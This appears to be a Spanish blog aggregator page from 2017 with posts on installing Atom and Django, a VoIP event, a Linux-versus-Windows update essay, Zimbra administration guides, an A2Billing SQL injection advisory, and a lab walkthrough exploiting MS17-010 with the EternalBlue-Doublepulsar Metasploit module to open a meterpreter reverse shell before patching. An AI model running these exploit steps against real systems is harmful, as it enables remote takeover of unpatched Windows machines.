Martes 20 de junio de 2017

Instalar Atom en Elementary

Siempre he usado geany como IDE de desarrollo ahora, me gustaría conocer uno nuevo decidí instalar Atom

Entramos como root

sudo su

y luego ejecutamos

add-apt-repository ppa:webupd8team/atom
apt-get update
apt-get install atom

En el cual, agregamos el repositorio desde lo vamos a descargar, sincronizamos las cabeceras de los repositorios y se procede a instalar.

Ya tenemos a Atom instalado, mas adelante explico como se configura extensiones y templates.

En mi caso por que tenia instalado 32 bits, pero si tienes 64bits de un entorno debian o derivado te bajas directamente el .deb

Atom 64 Bits

Lo descargas  y luego lo instalas con dpkg -i

Lunes 19 de junio de 2017

Juan Oliva

Juan Oliva
Juan Oliva

BeFree – Evento de Comunicaciones Open Source en Latinoamerica

Como algunos saben, durante varios años vengo trabajando en temas de VoIP que es mi segunda pasión profesional luego del #Hacking y la seguridad , En este tiempo he estado involucrado en varias iniciativas como Elastix y FreePBX inclusive, siendo instructor en su momento del primero en su momento.

Si bien es cierto todo en la vida cambia y aveces bastante rápido, siempre he proclamado y seguido la linea del uso del código abierto para soluciones de VoIP – Telefonía IP, ya que esta provee un punto de inflexión para el crecimiento profesional de los individuos que la utilizamos, personalmente he podido modificar, crear, programar nuevas funcionalidades, modificar código para brindar seguridad a mi gusto, lo cual potencia en y un 1000% de una solución de comunicaciones unificadas.

Es así, que he tenido el honor de ser invitado como speaker/conferencista al BeFreeEvento de Comunicaciones Open Source en Latinoamerica, a desarrollarse este 21 de Junio en la ciudad de México, BeFree es un evento que busca fortalecer la comunidad de Comunicaciones Unificadas Open Source y difundir innovación en tecnologías emergentes, en el marco de estas ideas, se difundirá el ecosistema de Issabel (PBX IP basada en Software Libre y de Código Abierto) que busca en pocas palabras, apunta a ser la propuesta a muy largo plazo ante la desaparición de Elastix, la cual por supuesto ha concitado la atención de la prensa en México, como se muestra a continuación.

BeFree, estará compuesto de exposiciones, conferencias, talleres y un hacktaton, este ultimo es un espacio muy interesante desarrolladores, en donde podrán participar de un maratón de creación software o “Addons” para resolver alguna problemática en concreto.

Por otro lado también estarán presentes personalidades del mundo VoIP/Asterisk como Nicolas Gudiño – Creador de Asternic Call Center , David Duffett – Director, Comunidad Mundial de Asterisk en DIGIUM , Alfio Muñoz Experimentado Instructor de Asterisk , Saul Ibarra – Senior Software Developer en Atlassian “Jitsi”

Finalmente, brindaré una charla denominada @IssabelIP una relación segura” en donde mostrare pasos muy prácticos para fortalecer la plataforma y minimizar riesgos de seguridad en una plataforma IP PBX basada en Asterisk.

Es así que si estas en México, no puedes de dejar de asistir el BeFree y si eres lector de este blog, por favor acércate que sera un inmenso gusto poder platicar de los temas que nos interesan.

Nos vemos en el BeFree!!

 


Sábado 17 de junio de 2017

Django tu primer proyecto

La idea es saber que tienes todo lo necesario para levantar una instancia en django

Tenemos que instalar pyhton para eso, depende de tu Sistema Operativo en mi caso uso Elementary

aptitude install python

Luego entramos en la carpeta y creamos con el nombre de nuestro proyecto

mkdir entorno

Al siguiente paso accedemos dentro de la carpeta entorno
Ya dentro de la carpeta ejecutamos el siguiente comando para crear el entorno
virtualenv .
Installing distribute.............................................................................................................................................................................................done.
Installing pip...............done

Luego para entrar a nuestro entorno ejecutamos lo siguiente
source bin/activate

Ya dentro de nuestro entorno nos damos cuenta por lo siguiente la terminal se coloca de la siguiente manera
(entorno)julioh@mordor:~/githubJulioh/entorno$
Ahora procedemos a instalar
pip install django
Luego de instalar, creamos los archivos base
django-admin startproject entorno

Cuando realizamos este comando nos crea una carpeta llamada entorno y adentro los siguientes archivos.

??? db.sqlite3
??? entorno
?   ??? __init__.py
?   ??? __init__.pyc
?   ??? settings.py
?   ??? settings.pyc
?   ??? urls.py
?   ??? urls.pyc
?   ??? wsgi.py
?   ??? wsgi.pyc
??? manage.py

Luego por ultimo nos falta es levantar el servicio y verlo desde nuestro navegador

python manage.py runserver
Nos sale lo siguiente
Performing system checks...

System check identified no issues (0 silenced).

You have 13 unapplied migration(s). Your project may not work properly until you apply the migrations for app(s): admin, auth, contenttypes, sessions.
Run ‘python manage.py migrate’ to apply them.

June 17, 2017 – 11:45:47
Django version 1.11.2, using settings ‘entorno.settings’
Starting development server at http://127.0.0.1:8000/
Quit the server with CONTROL-C.

Nos sale la siguiente imagen  It worked!
Congratulations on your first Django-powered page

Miércoles 07 de junio de 2017

Una foto del 2006

Es una foto del 4 Foro Mundial de Conocimiento Libre, realizado en Maturín

Con mi camisa de Debian que no se a donde fue a parar.


 

Jueves 01 de junio de 2017

Juan Oliva

Juan Oliva
Juan Oliva

Explotando Vulnerabilidad MS17-010 o WannaCry

El pasado 12 de Mayo durante el desarrollo del Peruhack en Lima-Perú estallaba la noticia de un ataque global del ahora famoso ramsomware “Wanacry”  arrasando múltiples empresas, grandes y extra grandes.

La duda es, como funciona Wanacry ?
El punto de entrada inicial no era muy diferente a los ramsomware que han aparecido anteriormente y se trata de infección via corre electrónico atraves de adjuntos con malware que explotaba una vulnerabilidad hasta esa fecha “no tan conocida” luego se expandía por la redes colindantes explotando la misma vulnerabilidad.

Ello es en resumen, técnicamente hablando , la vulnerabilidad que explotada por el ransomware WanaCrypt0r o WanaCry es la denominada por el boletin oficial de Microsoft como MS17-010 la cual afecta primordialmente a Windows 7 y Windows 2008 server que fue remediada por Microsoft el 14 de marzo es decir existe un parche desde esa fecha. El tema es que existe una herramienta llamada “EternalBlue” liberada por ShadowBrokers ( un grupo de hackers involucrados en el hackeo a la NSA) la cual explota la vulnerabilidad y afecta al protocolo SMB ( Servicio para compartir archivos e impresoras) que ahora está portada a Mestasploit por Elevenpaths.

Es por ello que su propagación fue masiva debido a que basta que una sola maquina se infecte para que se propague en toda una red LAN.

A continuación vamos a hacer una prueba de concepto paso a paso de como se explota la vulnerabilidad y luego aplicaremos el parche y probaremos nuevamente.

Escenario
Atacante : Kali Linux 2016_1 / IP 192.168.56.102
Atacado : Windows 7 64Bits / IP 192.168.56.101

1- Detección de Vulnerabilidad MS17-010 (Wanacry) con Nmap
cd /usr/share/nmap/scripts
wget https://raw.githubusercontent.com/cldrn/nmap-nse-scripts/master/scripts/smb-vuln-ms17-010.nse
nmap -d -sC -p445 –script smb-vuln-ms17-010.nse 192.168.56.101

Como se puede ver el scrip de nmap nos indica que el sistema operativo es vulnerable a ms17-010 ,con la confirmación vamos a explotar.

2- Explotando la Vulnerabilidad MS17-010 (Wanacry) con Metasploit

2.1- Instalación del exploit Eternalblue-Doublepulsar en Metasploit

cd /root
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit.git
cp /root/Eternalblue-Doublepulsar-Metasploit/eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

2.2..- Atacando Windows 7 64Bits vulnerable

msfconsole
use exploit/windows/smb/eternalblue_doublepulsar
show info
show targets
set TARGET 8
set PAYLOAD windows/meterpreter/reverse_tcp
set PROCESSINJECT explorer.exe
set LHOST 192.168.56.102
set LPORT 4444
set RHOST 192.168.56.101
exploit

Como vemos se genera la sesión de Meterpreter

2.1- Aplicando Parche y Probando que la vulnerabilidad

2.1- Aplicando Parche UPDATE de seguridad para MS17-010

Descargamos la actualización oficial desde :

http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212

Aplicamos el parche

2.2- Validando que la vulnerabilidad fue parchada

Validando con Nmap

Validando nuevamente con Metasploit

Como vemos luego de a ver aplicado el parche ya no es posible tomar el control del sistema, asi que a realizar las actualizaciones antes que se infecten.

Saludos
Juan Oliva
@jroliva

 


Miércoles 31 de mayo de 2017

Juan Oliva

Juan Oliva
Juan Oliva

Vulnerabilidad en A2BILLING ELASTIX 2.5 2.4 thanku-outcall iridium_threed.php

Por experiencia algunas vulnerabilidades toman un tiempo en “madurar” o hacerse masivas, esto ha pasado con está específicamente. En estas ultimas semanas he recibido muchas noticias y comentarios de hackeos a plantas, PBX, Centrales basadas en Elastix 2.4 y 2.5 en donde se crean un contexto llamado thanku-outcall esto por lo general, nombre del contexto puede cambiar evidentemente,  el objetivo es que se crea un contexto que permite sacar llamadas o en algunos casos mas creativos permiten originar llamadas solo para abrir un canal hacia un 0800 por ejemplo.

Como ingresan ? Cual es el punto de acceso?
Pues para variar el punto de acceso es vía Web ( Puerto 80, 443)  se trata de un archivo vulnerable en A2billing específicamente el archivo “iridium_threed.php” el cual permite una inyeccion SQL el cual inserta un registro en el servidor de base de datos de esta forma:

Luego de ello se crea un contexto en el archivo extensions_custom.conf alguna variante puede hasta crear un archivo en el directorio de publicación de apache.

La vulnerabilidad es clasificada como crítica. El punto de acceso es una función desconocida del archivo a2billing/customer/iridium_threed.php del componente Billing es afectada por esta vulnerabilidad. Mediante la manipulación del parámetro transactionID de un input desconocido se causa una vulnerabilidad de tipo sql injection.

La vulnerabilidad fue publicada el 2015-03-07 en exploitdb  la cual pueden verificar en https://www.exploit-db.com/exploits/36305/. La vulnerabilidad es identificada como CVE-2015-1875. La explotación se considera fácil. El ataque se puede efectuar a través de la red. La explotación no necesita ninguna autenticación específica.

Como parcho , Como lo corrijo o mitigo?
Si necesitas A2billing , es migrar a la versión superior, ya que la que trae Elastix es una version bastante antigua,  sin embargo sabemos que en las PBX no necesitas este software, lo recomiendo personalmente  es eliminarlo sacar del directorio de publicación de apache la carpeta A2billing.

Y si no tengo publicado mi Elastix no me interesa ?
Pues si te debería interesar ya que los hackeos no necesariamente vienen desde afuera, ahora con las vulnerabilidades como wanacry no te puedes fiar de tu red interna.

Y si tengo Issabel PBX o FreePBX ?
Pues para tranquilidad Issabel o FreePbx no trae A2billing fue un gran acierto eliminar aplicaciones “extra”

Espero les sirva la info.
Juan Oliva
@jroliva

 

 

 

 


Miércoles 17 de mayo de 2017

Oliver Etchebarne Bejarano

Oliver Etchebarne Bejarano
Melancolía al despertar

¿Wannacry en Linux? o por qué Linux es más seguro que Windows

Hace poco leí este artículo, sobre que ‘ni Linux ni Mac te salvarán de la condena de los ransomware‘. Y es cierto lo que dice, Linux es el campeón en vulnerabilidades descubiertas de todos los tiempos. También pueda que tenga razón sobre el hecho que los malwares los hagan para Windows porque es el sistema operativo para desktops más popular. De esto ya había escrito hace algunos años atrás.

Pero en este post quiero recalcar un pequeño detalle, que diferencia a Linux (y quizas Mac, no lo se) de Windows, en el caso de los errores de seguridad.

¿A cuántas personas les ha molestado esta pantalla?

Peor aún, al volver a prender el equipo, tienen que esperar a que concluya algunas actualizaciones. Y es más tedioso cuando, por alguna razón la actualización falla, y tienes que esperar más para que revierta los cambios. La gente pierde a veces horas en este procedimiento.

La notificación qué me ha hecho renegar es esta:

Una vez estuve jugando por horas GTA 4 (offline), y dicha ventana apareció detrás del juego. Nunca la vi. Y de pronto todo el equipo se reinició. No grabé mi progreso…

Esta es una de las causas que muchas personas desactivan las actualizaciones en Windows (la principal es para evitar la pantalla de ‘Este Windows no es original’, pero eso es otra historia 🙂 ). No he visto si sigue igual en Windows 10, pero hay un tema técnico con el sistema operativo que siempre obligará al equipo a entrar en una especie de trance para instalar sus actualizaciones: Windows por defecto bloquea el acceso a un fichero que está siendo usado. Eso quiere decir que si quieres actualizar el controlador de vídeo (que al final es un programa), tendrías que cerrar dicho programa antes de poder remplazarlo. Y tu pantalla moriría. Igual con todos los demás controladores, librerías, y el mismo kernel de Windows: Windows no puede reemplazarlos mientras esté ejecutándose. Así que tiene que hacerlo en un estado especial donde ningún controlador o librería o aplicación esté en ejecución.

Actualizar un Linux es tan sencillo como hacer clic en ‘Instalar’ 😀

Del lado técnico, cuando reemplazas un fichero, y este fichero está siendo usado por otro proceso, Linux graba el nuevo contenido en otro lugar del disco. Todos los nuevos procesos que accedan a este fichero, verán el nuevo contenido, mientras los procesos que ya lo tenían abierto, verán el antiguo contenido, hasta que lo cierren y lo vuelva a abrir. Entonces es trivial reescribir controladores y otros procesos del sistema, mientras estos siguen trabajando con normalidad.

Puedes probar borrar un vídeo mientras lo estás viendo. El reproductor del vídeo trabajará normal con el fichero, a pesar que este ya no existe, o tiene otro contenido.

En el caso de Ubuntu Linux, las instalaciones de seguridad son descargadas e instaladas automáticamente. Así de sencillo, tu equipo seguro sin mayor problema.

El resto de las actualizaciones te notifica cada semana. Hoy, al prender este equipo con Ubuntu Linux 17.04, apareció la alerta:

Le di clic en ‘Instalar ahora’, y ha estado corriendo la actualización del sistema operativo mientras escribo este post:

Limpio, y sin intrusiones. Todos los servicios que pueden ser recargados sin interferir con el trabajo del usuario, son recargados automágicamente. Y listo, sistema actualizado.

Si hubiera una actualización que requiere un procedimiento más extenso para recargar (como los controladores gráficos, o actualizar el mismo kernel), Ubuntu te sugiere reiniciar el equipo. Pero la actualización ya está instalada. No hay más tiempo que esperar, ni al apagar ni al prender el equipo.

Esta facilidad está contemplada en la mayoría de distros de Linux. Y mantiene tu sistema siempre actualizado, y seguro.

…y ni hablar de la piratería en GNU/Linux 😀

¿El sistema operativo con mayores vulnerabilidades encontradas? Puede ser. ¿El sistema operativo más seguro? ¡Pues claro que si!

Lunes 15 de mayo de 2017

Curso de Zimbra - Capítulo IV (Comandos en consola en Zimbra)

Mis manuales actualizados de Zimbra (2017)
https://cloudperu.pe/manuales/listado


Si Ud. desea llevar un curso de Zimbra; puede ver mi Curso en Aula Útil https://aulautil.com/curso/online/zimbra. Clases con Videoconferencia y asistencia en tiempo real con Anydesk. Incluye Gratis 2 Servidores VPS Cloud (Firewall UTM+Zimbra) + 1 IP pública y dominio real por alumno.


1.- Comandos de servicio
##########################################################################

$> su - zimbra

verificar el estado de todos los servicios en zimbra
$> zmcontrol status

detener todos los servicios
$> zmcontrol stop

iniciar todos los servicios
$> zmcontrol start

reiniciar todos los servicios
$> zmcontrol restart

ver la versión de zimbra
$> zmcontrol -v


2.- Comandos individuales de servicio (start, stop, restart, status)
##########################################################################
Ej: detenemos todos los servicios e iniciaremos uno a uno

$> zmcontrol stop

$> zmcontrol status


Iniciar LDAP server
$> ldap start

$> zmcontrol status

Iniciar MySQL Server
$> mysql.server start

Iniciar zmconfigd
$> zmconfigdctl start

Iniciar MTA (postfix, saslauthd)

$> zmmtactl start

Iniciar Amavis, Antivirus y AntiSpam (amavis, spamassassin, clamav)
$> zmamavisdctl start

$> zmcontrol status

Iniciar Mailbox (webmail, panel de administracion, servidores imap y pop3, servidores de filtros)
$> zmmailboxdctl start

Iniciar spell (servidor de ortografía)

$> zmapachectl start

Iniciar monitoreo
$> zmswatchctl start

Iniciar estadísticas
$> zmstatctl start

Iniciar Logger (logs del sistema)
$> zmlogswatchctl start

Reiniciar solo el antivirus
$> zmantivirusctl restart

Reiniciar solo el antispam
$> zmantispamctl restart


3.- zmprov: comando de administración de zimbra
############################################################################

Loguearse primero como usuario zimbra

$> su - zimbra

Lista la ayuda general de zmprov
$> zmprov help

Listar la ayuda para gestionar las cuentas

$> zmprov help acount

Consola Interactiva
$> zmprov
prov>

Ver ayuda de cuentas
prov> help account

Salir de la consola interactiva
prov> quit

4.- Cuentas
############################################

Obtener listado de todas las cuentas del servidor (todos los dominios)
$> zmprov -l gaa

Obtener todas las cuentas de administración
$> zmprov -l gaaa

Obtener información de una sola cuenta
$> zmprov -l ga tuxito@dominio.com

Cuentas de un dominio específico
$> zmprov -l gaa dominio.com

Detalle de cuentas de un dominio especifico
$> zmprov -l gaa -v dominio.com

Detalle de cuentas de un dominio especifico con Cuenta, Nombre y Quota
$> zmprov -l gaa -v dominio0.com | grep -e zimbraMailDeliveryAddress -e displayName -e zimbraMailQuota |sed -e "s/zimbraMailDeliveryAddress/Cuenta/" -e "s/displayName/Nombre/" -e "s/zimbraMailQuota/Quota/"

Crear una cuenta, con cos default
$> zmprov ca pepito@dominio.com pepitopass displayName "Pepito Pérez"

Crear un usuario con un cos específico ej: gerente
$> cos=`zmprov gc gerente | grep zimbraId:|cut -d ' ' -f2`
$> zmprov ca juanito@dominio.com juanitopass displayName "Juanito Martinez" zimbraCOSId $cos

Crear una cuenta con detalle
$> zmprov ca windozero@dominio.com passwinbugs cn 'Nombre(s) ApMaterno ApPaterno' displayName 'Nombre(s) ApMaterno ApPaterno' givenName 'Nombre(s)' zimbraCOSId $cos

5.- Modificar opciones de una cuenta
#########################################################

Cambiar de password de una cuenta
$> zmprov sp usuario1@dominio.com passnuevo

Modificar un atributo de una cuenta
$> zmprov ma usuario1@dominio.com displayName "Luser Noob 1"

Nota: se puede modificar cualquier atributo del usuario
para la lista de atributos ejecutar
$> zmprov -l ga usuario1@dominio.com


6.- Busqueda de cuentas
##########################################################

* Búsqueda por atributos
Se puede buscar las cuentas por un atributo en común

$> zmprov sa parametro=cadena

Buscar todas las cuentas activas
$> zmprov sa zimbraAccountStatus=active

Buscar todas las cuentas bloqueadas
$> zmprov sa zimbraAccountStatus=locked

Buscar en cuales listas se encuentra una cuenta
$> zmprov gam cuenta@dominio.com


7.- Borrar una cuenta
##########################################################
$> zmprov da usuario3@dominio.com

8.- Creación de Cuentas en forma masiva
######################################################################################################
Nos logueamos como root
$> su -

Creamos nuestro directorio de scrips
$> mkdir /opt/zimbra/scripts

Entramos al directorio
$> cd /opt/zimbra/scripts

Primero creamos un archivo con la lista de cuentas y sus respectivos cos
$> vim usuarios.txt
--------------------------------------------
usuario1@dominio.com,userpass1,Usuario Prueba 1,default
usuario2@dominio.com,userpass2,Usuario Prueba 2,default
usuario3@dominio.com,userpass3,Usuario Prueba 3,gerente
--------------------------------------------

Creamos ahora un script que genere un archivo para la creación de usuario
$> vim crea_usuarios.php
#!/usr/bin/php

<?php

// Obteniendo los COS del sistema y sus Ids

exec("/opt/zimbra/bin/zmprov gac",$arrcos);

$cos = array();

foreach($arrcos as $cos_name){

$cos_name = chop ($cos_name);

$cosid=`/opt/zimbra/bin/zmprov gc $cos_name | grep ^zimbraId:`;

$cosid = trim(str_replace("zimbraId: ","",$cosid));

$cos[$cos_name]=$cosid;

}

//print_r($cos);

// Leyendo los archivos de Usuarios

$userfile=file("usuarios.txt");

// Recorriendo array de usuarios y creando las cuentas

foreach($userfile as $userline){

$userline=trim(chop($userline));

if(!empty($userline)){

$user = explode(",",$userline);
echo("ca $user[0] $user[1] displayName '$user[2]' zimbraCOSId ".$cos[$user[3]]."\n");
}
}
?>
Ejecutamos el script, para eso necesitamos php
$> yum -y install php php-cli
$> chmod 755 crea_usuarios.php
$> ./crea_usuarios.php> cuentas.zm



Creamos los usuarios con zmprov
$> /opt/zimbra/bin/zmprov < cuentas.zm


9.- Listas de correo
###############################################################
Buscar todas las listas, y por dominio

$> zmprov gadl

$> zmprov gadl dominio.com

Crear una lista
$> zmprov cdl lista@dominio.com

Ver una lista específica
$> zmprov gdl lista@dominio.com

Encontrar todas las listas de un dominio y sus miembros
$> for i in $( zmprov gadl dominio.com | grep -v abuse | grep -v postmaster | sort ) ; do echo
`zmprov gdl $i | grep -e 'mail: ' -e 'zimbraMailForwardingAddress: ' | sed 's/mail/Lista/' | sed

's/zimbraMailForwardingAddress: //'` ; done ;



agregar un miembro a la lista
$> zmprov adlm lista@dominio.com cuenta@dominio.com

Remover un miembro de la lista
$> zmprov rdlm lista@dominio.com cuenta@dominio.com

Borrar una lista
$ zmprov ddl lista@dominio.com


10.- Buzones (zmmailbox)
##################################################################

Entrar a la consola interactiva
$> zmmailbox
mbox>

Ver ayuda general del comando
$> zmmailbox help

Ver ayuda de las cuentas
$> zmmailbox help account

Ver ayuda de los mensajes
$> zmmailbox help message


* Tamaño de un buzón
Ver tamaño ocupado del buzón

$> zmmailbox -z -m cuenta@dominio.com gms

Ver el tamaño de las quotas asignadas y ocupadas de todos los buzones
$> zmprov gqu `zmhostname`|awk {'print " "$3" "$2" "$1'}

Revisar mensajes por carpetas en el buzón

$> zmmailbox -z -m cuenta@dominio.com gaf

Borrar una carpeta completa de un buzón
$> zmmailbox -z -m cuenta@dominio.com emptyFolder Junk

Importar mensajes de una carpeta Maildir existente en el INBOX
$> echo addMessage /INBOX /path/to/Maildir/cur | /opt/zimbra/bin/zmmailbox -z -m cuenta@dominio.com

Buscar un mensaje
$> zmmailbox -z -m cuenta@dominio.com search -t message "prueba"

Buscar un mensaje en todas las cuentas
$> zmprov -l gaa |awk '{print "zmmailbox -z -m "$1" search \"linux\" "}' |sh -v
linux es la palabra de búsqueda

Buscar correos anteriores a una fecha: (formato mes/dia/año)
$> zmmailbox -z -m cuenta@dominio.com search -t message "in:INBOX (before: 12/19/13)"

Obtener contenido de un correo
$> zmmailbox -z -m cuenta@dominio.com gm 21940
21940 es el ID del mensaje

Ver contactos:
$> zmmailbox -z -m cuenta@dominio.com gact | less

Vaciar casilla usuario:
$> zmmailbox -z -m accoun@domain.com ef "/Inbox"

Ver correos de una carpeta
$> zmmailbox -z -m cuenta@dominio.com search -l 100 "in:Inbox"

Ver metadata de un correo:
$> zmmetadump -m cuenta@dominio.com -i 26747

Borrar un mensaje
$> zmmailbox -z -m cuenta@dominio.com dm 4543
4543 es el id del mensaje

Curso de Zimbra - Capítulo III (Instalación Multiservidor de Zimbra)

Mis manuales actualizados de Zimbra (2017)
https://cloudperu.pe/manuales/listado


Si Ud. desea llevar un curso de Zimbra; puede ver mi Curso en Aula Útil https://aulautil.com/curso/online/zimbra. Clases con Videoconferencia y asistencia en tiempo real con Anydesk. Incluye Gratis 2 Servidores VPS Cloud (Firewall UTM+Zimbra) + 1 IP pública y dominio real por alumno.


Una de las funcionalidades de zimbra es que puede instalarse en modo multiservidor con lo cual nos permite el balanceo de carga y despliegue de la solución para una gran cantidad de usuarios.
En el presente capítulo configuraremos Zimbra en un entorno multiservidor
bajo el siguiente esquema:
                ---------------
| MTA,LDAP,DNS | smtp.dominio.com
---------------
| |
| |
| |
-------- -------
|Mailbox | |Mailbox|
|Store | |Store |
|Webmail | |Webmail|
|Logger | | |
-------- -------
mailbox1.dominio.com mailbox2.dominio.com
1.- Configuración del DNS Server
-------------------------------------------------------------------
Configuramos en el DNS Server , los registros de DNS para el dominio
-------------------------------------------------------------------
smtp IN A 192.168.10.2
mailbox1 IN A 192.168.10.3
mailbox2 IN A 192.168.10.4
dominio.com. IN MX smtp.dominio.com.

$> service httpd stop
$> chkconfig httpd off
$> service iptables stop
$> service iptables save

$> service named restart
$> vim /etc/resolv.conf
nameserver 192.168.10.2
Comprobación de los registros DNS
$> dig MX dominio.com
$> dig smtp.dominio.com
$> dig mailbox1.dominio.com
$> dig mailbox2.dominio.com
2.- Instalación del primer servidor Zimbra (SMTP,LDAP y Proxy)
##########################################################################################
Configuración del hostname para smtp
---------------------------------------------
$> vim /etc/sysconfig/network
HOSTNAME=smtp.dominio.com
$> hostname smtp.dominio.com
$> su -

Luego, comprobar el nombre del hostname
$> hostname

Configurar la IPs de los hosts de correo
$> vim /etc/hosts
127.0.0.1 localhost.localdomain localhost
192.168.10.2 smtp.dominio.com smtp
192.168.10.3 mailbox1.dominio.com mailbox1
192.168.10.4 mailbox2.dominio.com mailbox2
instalar dependencias$> yum install libstdc++.i686 nc sysstat file Deshabilitar postfix$> service postfix stop $> chkconfig postfix off Deshabilitar apache$> service httpd stop $> chkconfig httpd off
Descargar Zimbra Open Source Edition
$> wget http://files2.zimbra.com/downloads/8.0.6_GA/zcs-8.0.6_GA_5922.RHEL6_64.20131203103705.tgz
$> tar -zxvf zcs-8.0.6_GA_5922.RHEL6_64.20131203103705.tgz
$> cd zcs-8.0.6_GA_5922.RHEL6_64.20131203103705
Instalación de smtp.dominio.com
$> ./install.sh --platform-override
Do you agree with the terms of the software license agreement? [N] Y

Select the packages to install

Install zimbra-ldap [Y] Y

Install zimbra-logger [N] N

Install zimbra-mta [Y] Y

Install zimbra-snmp [Y] Y

Install zimbra-store [Y] N

Install zimbra-apache [Y] N

Install zimbra-spell [Y] N

Install zimbra-memcached [N] Y

Install zimbra-proxy [N] Y


Install anyway? [N] Y

The system will be modified. Continue? [N] Y

Change domain name? [Yes] Yes
Create domain: [smtp.dominio.com] dominio.com

Address unconfigured (**) items (? - help) 1
Select, or 'r' for previous menu [r] 4
Password for ldap admin user (min 6 characters): [dqrGZV27] alumno
Select, or 'r' for previous menu [r] 6
Enter the number for the local timezone: [23] 11
Select, or 'r' for previous menu [r] r
Address unconfigured (**) items (? - help) 2
Select, or 'r' for previous menu [r] 4
Password for ldap root user (min 6 characters): [dqrGZV27] alumno
Select, or 'r' for previous menu [r] 5
Password for ldap replication user (min 6 characters): [dqrGZV27] alumno
Select, or 'r' for previous menu [r] 6
Password for ldap Postfix user (min 6 characters): [dqrGZV27] alumno
Select, or 'r' for previous menu [r] 7
Password for ldap Amavis user (min 6 characters): [dqrGZV27] alumno
Select, or 'r' for previous menu [r] 8
Password for ldap Nginx user (min 6 characters): [dqrGZV27] alumno
Select, or 'r' for previous menu [r] 9
Password for ldap BES user (min 6 characters): [dqrGZV27] alumno
Select, or 'r' for previous menu [r] r
Address unconfigured (**) items (? - help) 3
Select, or 'r' for previous menu [r] 2
Please enter the mta authentication server hostname: smtp.dominio.com
Select, or 'r' for previous menu [r] r
*** CONFIGURATION COMPLETE - press 'a' to apply
Select from menu, or press 'a' to apply config (? - help) a
Save configuration data to a file? [Yes] Yes
Save config in file: [/opt/zimbra/config.7238]
The system will be modified - continue? [No] Yes



Nos sale estos mensajes, por el proxy que no encuentra mailstore,
lo solucionaremos después


WARNING
You are configuring this host as an MTA server, but the specified mailstore
used for authentication has not been configured to run the mailbox service yet.
This will cause smtp authentication to fail.

To correct this - after installing a mailstore server,
reset the zimbraMtaAuthHost attribute for this server:
/opt/zimbra/bin/zmprov -m -l ms smtp.dominio.com zimbraMtaAuthHost smtp.dominio.com

Once done, start the MTA:
zmmtactl start

Press return to continue
Setting MTA auth host...failed.
Setting TimeZone Preference...done.
WARNING

You are configuring this host as a proxy server, but there is currently no
mailstore to proxy. This will cause proxy startup to fail.
Once you have installed a store server, start the proxy service:
zmproxyctl start

Press return to continue


3.- Instalación del segundo servidor: mailbox1.dominio.com
##########################################################################################
Editamos el host y el ip del host
$> vim /etc/sysconfig/network
HOSTNAME=mailbox1.dominio.com
$> hostname mailbox1.dominio.com
$> su -

Luego, comprobar el nombre del hostname
$> hostname

Configurar la IPs de los hosts de correo
$> vim /etc/hosts
127.0.0.1 localhost.localdomain localhost
192.168.10.2 smtp.dominio.com smtp
192.168.10.3 mailbox1.dominio.com mailbox1
192.168.10.4 mailbox2.dominio.com mailbox2

Usar como DNS server el smtp
$> vim /etc/resolv.conf
nameserver 192.168.10.2

$> service httpd stop
$> chkconfig httpd off
$> service iptables stop
$> service iptables save
instalar dependencias
$> yum install libstdc++.i686 nc sysstat file

Deshabilitar postfix
$> service postfix stop
$> chkconfig postfix off

Deshabilitar apache
$> service httpd stop
$> chkconfig httpd off
Descargar Zimbra Open Source Edition
$> wget http://files2.zimbra.com/downloads/8.0.6_GA/zcs-8.0.6_GA_5922.RHEL6_64.20131203103705.tgz
$> tar -zxvf zcs-8.0.6_GA_5922.RHEL6_64.20131203103705.tgz
$> cd zcs-8.0.6_GA_5922.RHEL6_64.20131203103705
Instalación de mailbox1.dominio.com
$> ./install.sh --platform-override Do you agree with the terms of the software license agreement? [N] Y Select the packages to install Install zimbra-ldap [Y] N Install zimbra-logger [Y] Y Install zimbra-mta [Y] N Install zimbra-snmp [Y] Y Install zimbra-store [Y] Y Install zimbra-apache [Y] Y Install zimbra-spell [Y] Y Install zimbra-memcached [N] N Install zimbra-proxy [N] N This platform is CentOS5_64 Packages found: RHEL5_64 This may or may not work. Using packages for a platform in which they were not designed for may result in an installation that is NOT usable. Your support options may be limited if you choose to continue. Install anyway? [N] Y The system will be modified. Continue? [N] Y Address unconfigured (**) items (? - help) 1Select, or 'r' for previous menu [r] 2 Please enter the ldap server hostname: smtp.dominio.comSelect, or 'r' for previous menu [r] 4Password for ldap admin user (min 6 characters): alumnoSelect, or 'r' for previous menu [r] rAddress unconfigured (**) items (? - help) 2 Select, or 'r' for previous menu [r] 4 Password for admin@dominio.com (min 6 characters): [W0oVBhou] alumno Select, or 'r' for previous menu [r] 9 Please enter the SMTP server hostname: smtp.dominio.com Select, or 'r' for previous menu [r] r *** CONFIGURATION COMPLETE - press 'a' to apply Select from menu, or press 'a' to apply config (? - help) aSave configuration data to a file? [Yes] YesSave config in file: [/opt/zimbra/config.32536] Saving config in /opt/zimbra/config.32536...done. The system will be modified - continue? [No] Yes Registramos en el SMTP Server el mailbox1 (smtp.dominio.com)
Ejecutar esto en el servidor smtp (192.168.10.2)
$> /opt/zimbra/bin/zmprov -m -l ms mailbox1.dominio.com zimbraMtaAuthHost mailbox1.dominio.com
$> su - zimbra
$> zmmtactl restart
$> zmproxyctl restart
$> zmcontrol status

Actualizamos los keys del ssh en el mailbox1 para obtener los logs del smtp (mailbox1.dominio.com)
Ejecutar esto en el servidor mailbox1 (192.168.10.3)
$> su - zimbra $> zmupdateauthkeys ahora como root editar $> vim /etc/sysconfig/rsyslog SYSLOGD_options="-r -m 0" $> /etc/init.d/rsyslog restart Hacemos que el SMTP loguee al mailbox1 (smtp.dominio.com)
Ejecutar esto en el servidor smtp (192.168.10.2)
$> su - zimbra
$> zmupdateauthkeys

ahora como root ejecutar
$> /opt/zimbra/libexec/zmsyslogsetup
$> /etc/init.d/rsyslog restart


4.- Instalación del tercer servidor: Mailbox2
#################################################################################
Editamos el host y el ip del host
$> vim /etc/sysconfig/network
HOSTNAME=mailbox2.dominio.com
$> hostname mailbox2.dominio.com
$> su -

Luego, comprobar el nombre del hostname
$> hostname

Configurar la IPs de los hosts de correo
$> vim /etc/hosts
127.0.0.1 localhost.localdomain localhost
192.168.10.2 smtp.dominio.com smtp
192.168.10.3 mailbox1.dominio.com mailbox1
192.168.10.4 mailbox2.dominio.com mailbox2

Usar como DNS server el smtp
$> vim /etc/resolv
nameserver 192.168.10.2

$> service postfix stop
$> chkconfig postfix off
